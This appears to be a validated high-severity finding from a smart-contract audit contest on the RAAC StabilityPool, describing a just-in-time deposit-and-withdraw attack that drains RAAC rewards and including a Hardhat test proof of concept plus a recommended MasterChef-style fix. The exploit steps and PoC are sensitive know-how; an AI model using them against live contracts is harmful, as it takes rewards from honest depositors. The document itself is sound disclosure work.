Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`StabilityPool` - Deposit & Withdraw Abuse (Sandwich Attack on Rewards)

Summary

The StabilityPool contract contains a vulnerability that allows users to repeatedly deposit and withdraw funds to maximize their reward claims unfairly. This exploit enables users to perform a sandwich attack on rewards, where they can manipulate their deposit timing to disproportionately increase their RAAC token earnings.

Vulnerability Details

The vulnerability exists in the way RAAC rewards are calculated and distributed. Specifically, the calculateRaacRewards function determines a user's share of the rewards pool based on their deposit at the time of calculation.

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
@> return (totalRewards * userDeposit) / totalDeposits;
}

A user can repeatedly deposit right before a reward distribution and withdraw immediately after, ensuring their deposit is considered for the reward calculation while avoiding long-term exposure. The withdraw function enables this behavior.

function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}

Since RAAC rewards are calculated at the time of withdrawal, an attacker can deposit right before the reward distribution to ensure a high share, then withdraw immediately after the distribution to claim rewards without maintaining a long-term deposit. This process can be repeated continuously to drain the reward pool unfairly. By exploiting the reward calculation formula in this way, a user can manipulate the system to maximize their earnings repeatedly, significantly disadvantaging long-term participants.

PoC

Add the following test to test/unit/core/pools/StabilityPool/StabilityPool.test.js.

This test demonstrates that a user can repeatedly call the deposit and withdraw functions to increase their raacToken rewards.

describe("RAAC Rewards", function () {
it.only("should NOT be possible to deposit and withdraw multiple times to claim rewards", async function () {
let prevRAACBalance = await raacToken.balanceOf(user1.address);
console.log({prevRAACBalance});
for (let i = 0; i < 2; i++) {
const depositAmount1 = ethers.parseEther("100");
// Setup for user1
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
await stabilityPool.connect(user1).deposit(depositAmount1);
await raacMinter.tick();
await stabilityPool.connect(user1).withdraw(depositAmount1);
const afterRAACBalance = await raacToken.balanceOf(user1.address);
console.log({afterRAACBalance});
expect(afterRAACBalance).to.be.gt(prevRAACBalance);
prevRAACBalance = afterRAACBalance;
}
});
});

Impact

This vulnerability leads to an unfair reward distribution, as users exploiting it can claim a disproportionate amount of RAAC rewards compared to long-term depositors. As a result, the reward pool can be rapidly depleted, preventing honest users from receiving their fair share. Additionally, attackers could use a flashloan to maximaze their share of the rewards pool, leaving the rest of the user with little to no rewards.

Tools Used

Manual review

Recommendations

Implement a MasterChef-style staking rewards system to ensure fair and transparent distribution of rewards. The system will allocate rewards based on both the user's deposited balance and the duration of their staking period, promoting long-term engagement and equitable reward distribution.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!